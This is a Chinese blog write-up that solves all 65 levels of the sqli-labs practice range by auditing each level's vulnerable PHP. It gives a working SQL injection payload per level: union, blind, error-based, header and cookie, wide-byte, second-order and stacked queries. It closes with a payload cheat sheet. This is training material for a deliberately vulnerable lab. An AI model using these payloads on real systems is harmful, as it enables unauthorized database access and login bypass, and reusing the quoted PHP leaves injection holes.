PHP审计练习-sql-labs
这次笔者通过代码审计的方式来通关这个sql经典靶场
less1
很简单的一个,直接拼上去的字符注入
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
payload1' and 1=2 union select user(),database(),1--+
less2
简单的数字注入
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
数字注入不需要闭合单引号,所以直接payload1 and 1=2 union select 1,database(),2--+
less3
就是加了个括号,闭合一下
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
payloadid=1') and 1=2 union select 1,database(),user()--+
less4
加了个双引号,又加个括号,闭合一下。
$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
id=1”) and 1=2 union select 1,database(),user() –+
less5
单引号闭合
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
但是这是个盲注啊,'and 1=1 --+
正常,1=2就不正常了。那我们可以写脚本爆破,但是我这就不写了,我们知道数据库名字叫security,直接验证一下就好了。
id=5' and substr((select database()),1,1)='s' --+
substr()函数是用来分隔字符串的
也就是判断数据库第一个字母是不是s的意思
less6
$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
闭合双引号的布尔盲注
id=5" and substr((select database()),1,1)='s' --+
less7
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
文件没写进去,用的布尔盲注
id=5')) and substr((select database()),1,1)='s' --+
less8
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
闭合单引号的布尔盲注
id=5' and substr((select database()),1,1)='r' --+
less9
纯不报错,用sleep盲注
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}//输入什么都是输出u are in...
?id=1' and if(1=1,sleep(5),1)--+ 测试一下时间注入
id=1%27%20and%20if(substr((select%20database()),1,1)=%27s%27,sleep(5),1)%20--+
payload判断数据库第一个是s
less10
闭合双引号的时间盲注
$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
id=1%22%20and%20if(substr((select%20database()),1,1)=%27s%27,sleep(5),1)%20--+
less11
是经典的登录框post注入
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
uname=123&passwd=123'order by 2 --+&submit=Submit
uname=123&passwd=123'union select database(),3 --+&submit=Submit
less12
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
闭合双引号和括号的post注入
uname=-1&passwd=-1") union select 1,database() --+&submit=Submit
less13
用万能密码登录
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
uname=-1&passwd=-1') or 1=1 --+&submit=Submit
less14
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
闭合双引号的万能密码
uname=-1&passwd=-1" or 1=1 --+&submit=Submit
less15
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
闭合单引号的万能密码
uname=-1&passwd=-1' or 1=1 --+&submit=Submit
less16
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
闭合双引号和括号的万能密码
uname=-1&passwd=-1") or 1=1 --+&submit=Submit
less17
从这关开始有过滤函数了
感觉又有以前玩ctf的感觉了。
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
下面还有个passwd参数没有过滤的
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
上面的过滤函数大概意思就是,看你开了自动加反斜杠没有,加了就去除,然后在下面再给你转义一次。
了解了一下,因为下面会输出报错语句,所以这里使用的是报错注入。
可以使用的有,extractvalue()报错注入,updatexml()报错注入和group by()报错注入
uname=admin&passwd=231' and (extractvalue(1,concat(0x5c,database(),0x5c))) --+ &submit=Submit
爆出数据库
less18
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
这次给账号密码都弄上了过滤函数。
但是在下面的代码中insert了我们的uagent ip 和username
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
所以我们这里可以使用报错注入。
由于我们之前前面那些关卡就获得了账号密码了,就不需要在账号密码上下功夫了。insert注意参数数量要一样,3个。
User-Agent: 1',2,(extractvalue(1,concat(0x5c,database(),0x5c)))) #
less19
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
这次是referer注入
同样的还是使用报错注入,因为下面有报错语句。注意这次的参数只有两个。
Referer: 1',(extractvalue(1,concat(0x5c,database(),0x5c)))) #
less20
一个cookie注入
$cookee = $_COOKIE['uname']
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
也就是在cookie中的uname来注入
同样有报错语句,试一下报错注入。
uname=admin') union select (extractvalue(1,concat(0x5c,database(),0x5c))),2,3 --+
less21
解密base64闭合单引号括号的cookie注入
setcookie('uname', base64_encode($row1['username']), time()+3600);
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
我们就besa64编码一下,然后看到有报错代码,同样使用报错注入。
uname=admin') union select (extractvalue(1,concat(0x5c,database(),0x5c))),2,3 #
less22
解密需要闭合双引号的cookie报错注入
$cookee = base64_decode($cookee);
setcookie('uname', base64_encode($row1['username']), time()+3600);
$cookee1 = '"'. $cookee. '"';
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
admin" union select (extractvalue(1,concat(0x5c,database(),0x5c))),2 #
less23
这一关不一样了,过滤了我们的注释符号
$id=$_GET['id'];
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
但是我们可以使用union联合注入
?id=1' or '1'='1
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 '
其中的group_concat用于连接表名字段
less24-二次注入
这是一个二次注入,如下,在注册的时候是对所有参数进行了转义的,但是存入数据库的时候是没有进行转义的,而且在最后更新密码的地方是没有对参数进行转义的,所以造成了二次注入。
创建账号的地方
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
更新密码的地方
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass=mysql_real_escape_string($_POST['re_password']);
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
更新密码的地方直接引用了,我们就实现自己账号来改管理员账号
admin'#
成功
less25
这里定义了一个黑名单参数,也就是不能使用or和and了
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
union联合注入不就没有这两个东西嘛
-1' union select 1,(select username from users where id=8),3'
less26-过滤空格和特殊字符
这一关就是特殊符号变多了罢了
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
双写绕过逻辑运算符或者使用&&和||替换
%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格
报错注入空格使用比较少所以我们可以使用报错注入。
id=-1'||extractvalue(1,concat(0x5c,database(),0x5c))||'0
1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0
less27
黑名单更多了
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
大小写绕过或者重写绕过
报错也可以
?id=-1'||extractvalue(1,concat(0x5c,database(),0x5c))||'0
less28
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
该关卡过滤了注释符空格还过滤了union和select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写
而且报错语句也被注释掉了!
那就使用重写绕过
id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
less29-参数污染
index页面存在一个注入
-1'||extractvalue(1,concat(0x5c,database(),0x5c))||'0
但是还存在一个登陆界面
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
这行代码也就是提取每一个参数名为id的参数,返回一个参数值。我们这里就可以使用参数污染来。
所以我们就用参数污染来就可以了,id=1&id=1' and (extractvalue(1,concat(0x5c,database(),0x5c)))||'0
less30
一样的,参数污染,只不过需要闭合双引号
$id = '"' .$id. '"';
id=1&id=1" and (extractvalue(1,concat(0x5c,database(),0x5c)))||"0
less31
多了个括号,但是貌似对报错注入并不影响
id=1&id=1" and (extractvalue(1,concat(0x5c,database(),0x5c)))||"0
less32-宽字节注入
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
看到这就明白了吧,宽字节注入,编码不同嘛。
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
id=-3%20and%20%df%27%20union%20select%201,database(),3%20--+
less33
和上面一样,只是换了个函数罢了
$string= addslashes($string);
id=-3%20and%20%df%27%20union%20select%201,database(),3%20--+
less34
post类型的宽字节注入罢了
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
uname=123&passwd=-123%df' union select 1,database() --+&submit=Submit
less35
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
一直这种的宽字节注入有意思吗?笑死没有引号,直接联合注入
id=-1 union select 1,2,database()
less36
一样的
$string= mysql_real_escape_string($string);
就是换了个函数罢了
id=-3%20and%20%df%27%20union%20select%201,database(),3%20--+
less37
36关换成post型了
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
uname=admin&passwd=123%df' union select 1,database() --+&submit=Submit
less38
没理解什么意思,不是直接绕过了吗
less39
看了大佬的解说,这可以用堆叠注入。
向表中插入数据
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
less40
一个没有报错的注入,需要闭合单引号和括号
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
id=-1') union select 1,database(),3 --+
less41
感觉是重复的
id=-1 union select 1,database(),3 --+
less42
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
又是一个post的报错注入啊
login_user=asd&login_password=-1' union select 1,extractvalue(1,(concat(1,database(),0x5c))),3 --+&mysubmit=Login
less43
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
和上面一样,只不过多了个括号
login_user=asd&login_password=-1') union select 1,extractvalue(1,(concat(1,database(),0x5c))),3 --+&mysubmit=Login
less44
不报错了啊
login_user=asd&login_password=-1'or 1=1 --+&mysubmit=Login
万能密码可以进去,但是想报数据库的话用时间盲注吧。
less45
和上面一样,加了个括号罢了
less46-order by 报错注入
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
sort=1 and extractvalue(1,concat(0x5c,database(),0x5c)) --+
less47
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY '$id'";
闭合一下单引号,然后报错注入
sort=1' and extractvalue(1,concat(0x5c,database())) --+
less48
和46关一样,只是不报错了,我们使用时间盲注。
sort=1%20and%20if(substr((select%20database()),1,1)=%27s%27,sleep(5),1)%20--+
less49
sort=1%27%20and%20if(substr((select%20database()),1,1)=%27s%27,sleep(5),1)%20--+
闭合单引号的时间盲注
less50
sort=1 and extractvalue(1,concat(0x5c,database())) --+
报错注入
$id=$_GET['sort'];
$sql="SELECT * FROM users ORDER BY $id";
less51
sort=1' and extractvalue(1,concat(0x5c,database())) --+
闭合单引号的报错注入
less52
时间盲注
1%20and%20if(substr((select%20database()),1,1)=%27s%27,sleep(5),1)%20--+
这不几关重复了吗
less53
笑死我了,代码没看,盲猜闭合单引号的时间盲注
1%20and%20if(substr((select%20database()),1,1)=%27s%27,sleep(5),1)%20--+
less54
$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
id=-1' union select 1,database(),2 --+
less55
闭合括号的联合注入
id=-1) union select 1,database(),2 --+
less56
闭合单引号括号的联合注入
id=-1') union select 1,database(),2 --+
less57
闭合双引号的联合注入
id=-1" union select 1,database(),2 --+
less58
闭合单引号的报错注入
id=-1' and extractvalue(1,concat(0x5c,database())) --+
less59
?id=-1 and extractvalue(1,concat(0x5c,database())) --+
不用闭合的报错注入
less60
闭合双引号括号的报错注入
$id = '("'.$id.'")';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
id=-1") and extractvalue(1,concat(0x5c,database())) --+
less61
闭合单引号双括号的报错注入
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
id=-1')) and extractvalue(1,concat(0x5c,database())) --+
less62
不报错的,闭合单引号括号的时间盲注
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
id=1') and if(substr((select database()),1,1)='c',sleep(3),1) --+
less63
不报错的,闭合单引号的时间盲注
id=1' and if(substr((select database()),1,1)='c',sleep(3),1) --+
less64
不报错的,闭合双括号的时间盲注
id=1)) and if(substr((select database()),1,1)='c',sleep(3),1) --+
less65
不报错的,闭合双引号括号的时间盲注
id=1") and if(substr((select database()),1,1)='c',sleep(13),1) --+
总结一下
这里总结一下使用的sql注入吧,也算是从代码层面复习了一遍基础的sql注入了,基础搞扎实,以后才不难。
php函数
php常用函数总结:
substr(string,start,length) 函数返回字符串的一部分,第一个参数从哪开始,length是长度
get_magic_quotes_gpc() 当magic_quotes_gpc=On(自动转义特殊字符)魔术引号开的时候,就会返回1
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符
stripslashes() 函数返回一个去除转义反斜线后的字符串
concat() 函数用于将两个字符串连接起来,形成一个单一的字符串
setcookie(name,value,expire,path,domain,secure)
explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
preg_last_error 函数用于转义正则表达式字符。
preg_replace($pattern,$replacement,$subject)搜索 subject 中匹配 pattern 的部分,以replacement进行替换
sql语法
常用sql语句总结
order by 1
select 1,database(),2
if(1,2,3) //1要是对的就执行2,反之则3.
substr(1,2,3) //1字符串,从2开始,截取长度3
sleep(5) //睡5秒
extractvalue(XML_document,XPath_string) //从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错,下面的语法就是错误的
UPDATEXML (XML_document, XPath_string, new_value) //改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
当我们XPath_string语法报错时候就会报错
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
注入语句
常用的注入语句
id=1") and 1=2 union select 1,database(),user() --+ //union注入
?id=1' and if(1=1,sleep(5),1)--+ //测试一下时间注入
id=1%27%20and%20if(substr((select%20database()),1,1)=%27s%27,sleep(5),1)%20--+ //时间盲注
id=5' and substr((select database()),1,1)='r' --+ //布尔盲注
uname=-1&passwd=-1" or 1=1 --+&submit=Submit //万能密码
1' and (extractvalue(1,concat(0x5c,database(),0x5c))) // extractvalue爆数据库
123' and (updatexml(1,concat(0x5c,database(),0x5c),1)) //updatexml爆数据库
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 ' //union联合注入
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。